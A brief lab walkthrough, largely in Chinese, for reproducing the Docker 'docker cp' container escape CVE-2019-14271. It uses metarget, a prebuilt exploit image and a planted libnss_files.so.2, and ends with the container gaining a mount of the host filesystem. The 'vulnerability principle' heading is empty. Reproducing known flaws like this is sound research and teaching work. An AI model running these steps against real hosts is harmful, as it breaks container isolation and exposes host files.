NOTE

For all exploit source code and more detailed information, see https://github.com/iridium-soda/container-escape-exploits .

漏洞原理

./metarget cnv install cve-2019-14271

拉取镜像

sudo docker pull iridium191/cve-2019-14271
sudo docker run -it --rm --name=14271 iridium191/cve-2019-14271 /bin/bash

在容器内

mv /libnss_files.so.2 /lib/x86_64-linux-gnu/

在容器外

sudo docker cp 14271:/logs ./

容器内的log即挂载了host的文件系统